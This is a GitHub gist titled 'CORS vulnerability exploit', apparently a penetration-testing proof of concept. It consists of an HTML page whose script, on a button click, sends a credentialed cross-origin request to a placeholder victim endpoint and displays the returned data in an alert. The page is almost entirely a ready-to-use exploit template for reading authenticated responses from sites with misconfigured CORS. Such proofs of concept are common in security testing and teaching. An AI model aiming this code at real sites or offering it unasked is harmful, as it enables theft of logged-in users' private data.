Skip to content

Instantly share code, notes, and snippets.

@enderphan94
Created August 13, 2020 14:17
Show Gist options
  • Save enderphan94/3c1443118981d21a8e83b467de4e51dd to your computer and use it in GitHub Desktop.
Save enderphan94/3c1443118981d21a8e83b467de4e51dd to your computer and use it in GitHub Desktop.
CORS vulnerability exploit #cors https://enderspub.kubertu.com/cors
<html>
<body>
<h2>CORS Exploit</h2>
<p>https://gist.github.com/enderphan94</p>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://victim.example.com/endpoint", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment